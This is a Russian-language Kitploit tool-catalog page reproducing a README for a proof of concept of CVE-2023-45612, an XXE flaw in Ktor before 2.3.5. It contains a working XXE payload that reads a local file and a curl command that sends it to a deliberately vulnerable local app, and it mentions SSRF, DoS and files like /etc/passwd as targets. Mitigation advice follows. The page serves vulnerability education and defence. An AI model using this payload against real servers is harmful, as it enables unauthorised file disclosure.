Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
ktor-cve-2023-45612-poc — Ktor XXE-инъекция: Proof-of-Concept (CVE-2023-45612) | Kitploit
Инструменты/GitHubGitHub/stefan-500/ktor-cve-2023-45612-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьНеправильная КонфигурацияОбучение и Образование
GitHubstefan-500/ktor-cve-2023-45612-poc

ktor-cve-2023-45612-poc

Ktor XXE-инъекция: Proof-of-Concept (CVE-2023-45612)

Репозиторий
1310 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Proof-of-Concept уязвимости XXE в Ktor (CVE-2023-45612)

Краткое описание

Воздействие: произвольный доступ к файлам через специально сформированный XML DTD с XXE-ссылкой.
Корневая причина: небезопасный парсер XML-документов.

Этот репозиторий содержит уязвимое приложение Ktor 2.3.4, настроенное на разрешение внешних сущностей, чтобы эффект XXE был наглядно виден.

Описание

Уязвимое приложение Ktor (v2.3.4) для демонстрации инъекции внешних XML-сущностей (CVE-2023-45612).

CVE-2023-45612 — это ошибка XXE (внешняя XML-сущность) в ContentNegotiation Ktor, когда XML включён в версиях до 2.3.5.
Эта уязвимость соответствует CWE-611: Неограничение ссылок на внешние XML-сущности.
XXE входит в категорию рисков OWASP Top 10 A05:2021 — Ошибки безопасности конфигурации, но также является проблемой небезопасного проектирования, поскольку причина — неограничивающий XML-парсер.

Сообщил Ulf Karlsson — см. заметки JetBrains по безопасности.

Затронутые компоненты и версии

Версии Ktor старше 2.3.5

Среда воспроизведения

Моё окружение для воспроизведения проблемы:

  • IntelliJ IDEA 2025.2.4
  • Ktor 2.3.4
  • JDK 21
  • ОС: Windows 10

Объяснение XXE

XML-документы могут опционально содержать определение типа документа (DTD), которое, среди прочих возможностей, позволяет определять XML-сущности. Можно определить сущность, указав строку подстановки в виде URI. XML-парсер может получить содержимое этого URI и встроить его обратно в XML-документ для дальнейшей обработки. Отправляя XML-файл, определяющий внешнюю сущность с URI вида file://, атакующий может заставить обрабатывающее приложение прочитать содержимое локального файла.
Например, URI вида "file:///c:/winnt/win.ini" указывает (в Windows) на файл C:\Winnt\win.ini, а file:///etc/passwd указывает на файл паролей в Unix-системах.
(https://cwe.mitre.org/data/definitions/611.html)

Как это работает

Выполняется POST-запрос к конечной точке http://localhost:8080/xml.
Запрос отправляет XML-файл exploit/payloads/xxe-demo-file.xml, содержащий элемент <!DOCTYPE>, в котором ссылаются на внешнюю сущность — в данном случае exploit/etc/secret.txt.

Это потенциально может быть любой другой файл в системе, к которому процесс имеет доступ.

xxe-demo-file.xml

root@kitploit:~
<!DOCTYPE Mail [ <!ENTITY xxe SYSTEM "exploit/etc/secret.txt"> ]>
<Mail><title>&xxe;</title></Mail>

XML-парсер (настроенный на разрешение DTD) обрабатывает этот элемент и извлекает данные ресурса.

Внешняя ссылка также может быть путём к SSRF-конечной точке или указывать на большой файл, чтобы занять системные ресурсы (DoS).

Шаги воспроизведения

  1. Запустите сервер:
root@kitploit:~
./gradlew run
  1. Вывод должен быть следующим:
root@kitploit:~
Responding at http://127.0.0.1:8080
  1. Отправьте XXE-пейлоад с помощью curl:
root@kitploit:~
 curl -i http://localhost:8080/xml -H "Content-Type: application/xml" --data-binary @exploit/payloads/xxe-demo-file.xml

Ожидаемый результат (уязвимая версия):

В консоли выводится: Received: <external entity data>

Ожидаемый результат (безопасная версия):

400 Bad Request или аналогичный ответ (XML-парсер блокирует определение типа документа)

Подтверждение

Выполните команду:

Команда запуска приложения

Отправьте XXE-пейлоад с помощью cURL и получите результат с содержимым внедрённого файла:

Команда запуска приложения

Серьёзность

Серьёзность — высокая/критическая. Возможны чтение локальных файлов, SSRF-атака, DoS-атака и другие воздействия на систему.
Базовая оценка NVD: 9.8 CRITICAL (CVSS v3) (https://nvd.nist.gov/vuln/detail/CVE-2023-45612)

Черновик рекомендаций по предотвращению для разработчиков

  • Настройте XML-парсер так, чтобы он не разрешал внешние сущности. Если внешние сущности необходимы, реализуйте собственный XmlResolver с таймаутом запроса, ограничением объёма извлекаемых данных и ограничением ресурсов, которые он может получать локально.
  • Используйте такие ресурсы, как шпаргалка OWASP по предотвращению XXE, в которой рассматривается реализация защиты от XXE, в частности для различных технологий.
  • Внедрите SAST в CI, поскольку он может находить некоторые проявления этой слабости путём анализа исходного кода.
  • Отслеживайте и анализируйте версии зависимостей и уязвимости.
  • Внедряйте стандарты безопасного кодирования на уровне компании.
  • Делайте акцент на интеграции безопасности на всём протяжении SDLC, особенно на этапах проектирования и тестирования силами разработчиков.

Ссылки

  • https://nvd.nist.gov/vuln/detail/CVE-2023-45612
  • https://cwe.mitre.org/data/definitions/611.html
  • https://capec.mitre.org/data/definitions/221.html
  • https://medium.com/@iason.tzortzis/xxe-xml-external-entity-injection-explained-e8be5f1f7cd7
  • https://ktor.io/docs/server-create-a-new-project.html#create-project-with-the-ktor-project-generator
  • https://www.jetbrains.com/privacy-security/issues-fixed/?product=Ktor
  • https://ktor.io/docs/2.3.13/welcome.html
  • https://portswigger.net/web-security/xxe#exploiting-xxe-to-retrieve-files
  • https://ssojet.com/parse-and-generate-formats/parse-and-generate-xml-in-ktor/
  • https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
  • https://owasp.org/Top10/A05_2021-Security_Misconfiguration/
Скачать инструмент